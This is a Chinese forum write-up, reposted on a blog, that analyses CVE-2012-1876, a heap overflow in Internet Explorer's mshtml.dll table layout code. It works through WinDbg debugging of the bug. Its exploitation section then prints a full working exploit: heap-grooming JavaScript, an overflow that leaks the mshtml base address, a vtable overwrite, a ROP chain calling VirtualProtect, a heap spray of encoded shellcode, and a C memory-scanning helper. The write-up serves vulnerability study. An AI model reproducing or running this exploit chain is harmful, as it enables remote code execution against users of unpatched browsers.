close

本文為看雪論壇優秀文章

看雪論壇作者ID:AshCrimson


漏洞信息


CVE-2012-1876

mshtml.dll中函數CTableLayout::CalculateMinMax,通過span屬性值作為循環次數向堆內存中寫入數據時,未對span進行有效的校驗而導致堆溢出,可實現RCE。


漏洞分析


調試ie,開啟子進程調試,開啟頁堆,定位堆溢出位置。
gflags.exe -i iexplore.exe +hpa.childdbg 1

溢出點,edi的值導致了crash,edi=[esi+18],向上追蹤esi何處被賦值。

查看堆棧,CalCulateMinMax存在大量對esi的操作,對CalCulateMinMax函數下斷,進行分析。

首次加載頁面,會獲取一些屬性,第一個參數為Table標籤的類對象。

ebx=CTableLayout

ebx+0x54== 所有col標籤span屬性值的和,標記為spannum。


如果通過判斷:(this+0x94>>2) < spannum,則通過函數EnsureSizeWorker申請空間。
函數EnsureSizeWorker內部會進行判斷,確保最小申請空間為0x1C*4=0x70字節空間,並將地址存儲入this+0x9C處。
執行完之後會對this+0x94進行更新。

通過調用函數over_trigger修改標籤屬性,第二次運行CalculateMinMax。

此時this+0x94更新後==4,(4>>2)==spannum,所以不會再進行申請內存的操作。


此時GetAAspan返回值為0x3e8,說明span屬性值已經成功被修改,但是CTableLayout成員變量並沒有發生改變。


spannum仍然為1。


通過函數GetFancyFormat對修改後的width進行了一次運算(42765*100)<<4+9=0x4141149。


然後將參數傳入,通過函數GetPixelWidth進行第二次運算,最終通過width得到的結果為0x519159。


當運行到此處時,已經可以很明顯的看出漏洞成因了,壓入參數[ebp-0xc]也就是前面通過width計算出的值,通過函數AjdustForCol,循環1000次寫入堆中,每次寫入數據大小為0xC,而堆大小只有0x70,因為修改span後,沒有重新分配相應大小的堆空間,最終會產生堆溢出。


利用思路


構造堆的布局,進行占位,讓內存申請到釋放的位置。

第一次溢出覆蓋字符串長度,暴露mshtml基址。

第二次溢出覆蓋虛表指針,構造rop,通過heapspray將shellcode噴射到覆蓋的虛表指針地址,繞過DEP和ASLR保護,執行shellcode。


漏洞利用


第一步申請內存空間,寫入大量BSTR字符串,構造堆布局,釋放存儲字符"E"的堆空間,讓EnsureSizeWorker申請內存時,可以占用釋放的位置。
<div id="test"></div> <script language='javascript'> d = document.getElementById('test'); var dap = "EEEE"; while (dap.length < 0x200) dap += dap; var padding = "AAAA"; while (padding.length < 0x200) padding += padding; var filler = "BBBB"; while (filler.length < 0x200) filler += filler; var arr = new Array(); var rra = new Array(); //EEEE AAAA BBBB OOOO for (var i = 0; i < 1000; i += 2) { rra[i] = dap.substring(0, (0x100 - 6) / 2); arr[i] = padding.substring(0, (0x100 - 6) / 2); arr[i + 1] = filler.substring(0, (0x100 - 6) / 2); var obj = document.createElement("button"); d.appendChild(obj); } //theap A B button for (var i = 200; i < 1000; i += 2) { rra[i] = null; CollectGarbage(); }</script>

構造col標籤,進行占位。
<table style="table-layout:fixed"> <col id="0" width="41" span="9">&nbsp </col></table> <table style="table-layout:fixed"> <col id="1" width="41" span="9">&nbsp </col> </table>...<table style="table-layout:fixed"> <col id="132" width="41" span="9">&nbsp </col></table>

通過windbg調試,輸出日誌,判斷是否成功占位。
sxe ld:jscriptbu ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"bu mshtml!CTableLayout::CalculateMinMax+0x18C ".echo vulheap;dd poi(ebx+9c) l4;g".logopen c:\log.txt

程序成功申請到前面釋放的內存,這裡要去除頁堆,不然成功率很低。



當前內存布局,可以找到CButton虛表指針,需要通過它計算出mshtml基址,因為CButtonLayout虛表指針和mshtml基址的偏移是固定的,為了能夠讀取到這個值,需要通過溢出改變字符串B的長度,讀取CButtonLayout虛表指針。
function one_overflow() { //首次溢出,通過CButtonLayout暴露mshtml基址 var col = document.getElementById(2); col.span = 19; } function get_mshtml_base() { var leak_addr = -1; for (var i = 0; i < 10000; i++) { if (arr[i].length > (0x100 - 6) / 2) { leak_index = i; var leak = arr[i].substring((0x100 - 6) / 2 + (2 + 8) / 2, (0x100 - 6) / 2 + (2 + 8) + 4 / 2); leak_addr = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16); //alert("CButtonLayout VirtualTable Point:0x" + leak_addr.toString(16)); mshtml_base = leak_addr - Number(0x001584f8); //alert("mshtml base:0x" + mshtml_base.toString(16)); heapspray(mshtml_base); break; } } }

第一次溢出,長度成功被覆蓋。

通過暴露的虛表指針信息,可以找到mshtml.dll基址,偏移為:0x1584F8。


獲取偏移後,再使用windbg調試,驗證基址是否正確。


第二次溢出覆蓋CButtonLayout對象的虛表指針進行覆蓋,控制程序執行流程。


這裡進行覆蓋的值=width*125,後面調用的虛函數地址為[eax+dc],與漏洞戰爭書上略有不同。
function second_overflow() { //二次溢出,覆蓋CBttonLayout虛表指針 var col = document.getElementById(2); col.width = "1003572"; col.span = "29"; }

成功控制執行流程。


下面進行heapspray,構造shellcode噴射到這個地址中。
function heapspray(base) { //ret var rop = (base + 0x3142).toString(16); var rop_ret1 = rop.substring(4, 8); var rop_ret2 = rop.substring(0, 4); //pop ebp;ret var rop = (base + 0x4b015a).toString(16); var rop_popebp_ret1 = rop.substring(4, 8); var rop_popebp_ret2 = rop.substring(0, 4); //xchg eax,esp;ret var rop = (base + 0x701be).toString(16); var rop_xchg1 = rop.substring(4, 8); var rop_xchg2 = rop.substring(0, 4); //pop ebx;ret var rop = (base + 0x3d0537).toString(16); var rop_popebx_ret1 = rop.substring(4, 8); var rop_popebx_ret2 = rop.substring(0, 4); //pop edx;ret var rop = (base + 0x2fb796).toString(16); var rop_popedx_ret1 = rop.substring(4, 8); var rop_popedx_ret2 = rop.substring(0, 4); //pop ecx;ret var rop = (base + 0x17011a).toString(16); var rop_popecx_ret1 = rop.substring(4, 8); var rop_popecx_ret2 = rop.substring(0, 4); //writable var rop = (base + 0x100).toString(16); var writable1 = rop.substring(4, 8); var writable2 = rop.substring(0, 4); //pop edi;ret var rop = (base + 0x390a67).toString(16); var rop_popedi_ret1 = rop.substring(4, 8); var rop_popedi_ret2 = rop.substring(0, 4); //pop esi;ret var rop = (base + 0xf01bd).toString(16); var rop_popesi_ret1 = rop.substring(4, 8); var rop_popesi_ret2 = rop.substring(0, 4); //jmp eax var rop = (base + 0x1f2bd9).toString(16); var rop_jmpeax1 = rop.substring(4, 8); var rop_jmpeax2 = rop.substring(0, 4); //pop eax;ret var rop = (base + 0x351263).toString(16); var rop_popeax_ret1 = rop.substring(4, 8); var rop_popeax_ret2 = rop.substring(0, 4); //VirtualProtect var rop = (base + 0x1348).toString(16); var rop_vp1 = rop.substring(4, 8); var rop_vp2 = rop.substring(0, 4); //mov eax;dword ptr ds:[eax];ret var rop = (base + 0x214bbd).toString(16); var rop_moveax_ret1 = rop.substring(4, 8); var rop_moveax_ret2 = rop.substring(0, 4); //pushad;ret var rop = (base + 0x51a2c8).toString(16); var rop_pushad_ret1 = rop.substring(4, 8); var rop_pushad_ret2 = rop.substring(0, 4); //push esp;ret var rop = (base + 0x49cb1d).toString(16); var rop_pushesp_ret1 = rop.substring(4, 8); var rop_pushesp_ret2 = rop.substring(0, 4); var shellcode = unescape("%u" + rop_ret1 + "%u" + rop_ret2); //ret shellcode += unescape("%u" + rop_popebp_ret1 + "%u" + rop_popebp_ret2); //pop ebp;ret for (var i = 0; i < 0x32; i++) { shellcode += unescape("%u" + rop_ret1 + "%u" + rop_ret2); //ret } shellcode += unescape("%u" + rop_popebp_ret1 + "%u" + rop_popebp_ret2); //pop ebp;ret ebp=shellcode_addr shellcode += unescape("%u2a80%u077a"); shellcode += unescape("%u" + rop_popedx_ret1 + "%u" + rop_popedx_ret2); shellcode += unescape("%u" + rop_xchg1 + "%u" + rop_xchg2); //xchg eax,esp;ret; start change stack shellcode += unescape("%u" + rop_popebx_ret1 + "%u" + rop_popebx_ret2); //pop ebx;ret ebx=1024 shellcode += unescape("%u1024%u0000"); //1024 shellcode += unescape("%u" + rop_popedx_ret1 + "%u" + rop_popedx_ret2); //pop edx;ret edx=40 shellcode += unescape("%u0040%u0000"); //40 shellcode += unescape("%u" + rop_popecx_ret1 + "%u" + rop_popecx_ret2); //pop ecx;ret shellcode += unescape("%u2a70%u077a"); shellcode += unescape("%u" + rop_popedi_ret1 + "%u" + rop_popedi_ret2); //pop edi;ret shellcode += unescape("%u" + rop_ret1 + "%u" + rop_ret2); //ret shellcode += unescape("%u" + rop_popesi_ret1 + "%u" + rop_popesi_ret2); //pop esi;ret shellcode += unescape("%u" + rop_jmpeax1 + "%u" + rop_jmpeax2); //jmp eax shellcode += unescape("%u" + rop_popeax_ret1 + "%u" + rop_popeax_ret2); //pop eax;ret shellcode += unescape("%u" + rop_vp1 + "%u" + rop_vp2); //VirtualProtect_addr eax=VirtualProtect shellcode += unescape("%u" + rop_moveax_ret1 + "%u" + rop_moveax_ret2); //mov eax;[eax];ret shellcode += unescape("%u" + rop_pushad_ret1 + "%u" + rop_pushad_ret2); //pushad;ret shellcode += unescape("%u" + rop_pushesp_ret1 + "%u" + rop_pushesp_ret2); //push esp;ret; shellcode += unescape("%u9090%u9090"); shellcode += unescape("%u9090%u9090"); shellcode += unescape( "%u68FC%u0A6A%u1E38%u6368%uD189%u684F%u7432%u0C91%uF48B%u7E8D%u33F4%uB7DB%u2B04%u66E3%u33BB" + "%u5332%u7568%u6573%u5472%uD233%u8B64%u305A%u4B8B%u8B0C%u1C49%u098B%u098B%u698B%uAD08%u6A3D" + "%u380A%u751E%u9505%u57FF%u95F8%u8B60%u3C45%u4C8B%u7805%uCD03%u598B%u0320%u33DD%u47FF%u348B" + "%u03BB%u99F5%uBE0F%u3A06%u74C4%uC108%u07CA%uD003%uEB46%u3BF1%u2454%u751C%u8BE4%u2459%uDD03" + "%u8B66%u7B3C%u598B%u031C%u03DD%uBB2C%u5F95%u57AB%u3D61%u0A6A%u1E38%uA975%uDB33%u6853%u6465" + "%u0000%u6868%u6361%u8B6B%u53C4%u5050%uFF53%uFC57%uFF53%uF857%9090%9090%9090"); while (shellcode.length < 100000) { shellcode += shellcode; } //64k var onemeg = shellcode.substr(0, 64 * 1024 / 2); for (i = 0; i < 14; i++) { onemeg += shellcode.substr(0, 64 * 1024 / 2); } var spray = new Array(); for (i = 0; i < 1000; i++) { spray[i] = onemeg.substr(0, onemeg.length); } }

為了使覆蓋的虛表指針的值剛好是shellcode起始位置,並且eax+dc位置是xchg eax,esp ret指令地址,可以通過讀取內存快速查找對應地址,寫入第二次溢出的width中。
#include <iostream>#include <windows.h>int main(){ HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, 3920); int addr = 1000000; DWORD temp = 0; while (1) { DWORD val = 0; int ret = ReadProcessMemory(processHandle, (LPVOID)(addr * 125), &val, 4, &temp); if (ret) { printf("addr:%08x:%08x\n", addr * 125); } if (ret && val == 0x6ABD3142) { ret = ReadProcessMemory(processHandle, (LPVOID)(addr * 125 + 0xdc), &val, 4, &temp); if (val == 0x6AC401BE) { printf("result=%d\n", addr); break; } } printf("%x\n", addr); addr++; } system("pause");}


結果


參考資料:

漏洞戰爭:軟件漏洞分析精要


看雪ID:AshCrimson

https://bbs.pediy.com/user-home-893960.htm

*本文由看雪論壇 AshCrimson原創,轉載請註明來自看雪社區


#往期推薦

1.PWN學習總結

2.Java反編譯_class爆破與javaagent

3.某應用sign簽名算法還原

4.海蓮花APT組織樣本分析

5.詳解七句匯編獲取Kernel32模塊地址

6.保護模式學習筆記之分頁機制




球分享

球點讚

球在看

點擊「閱讀原文」,了解更多!

arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()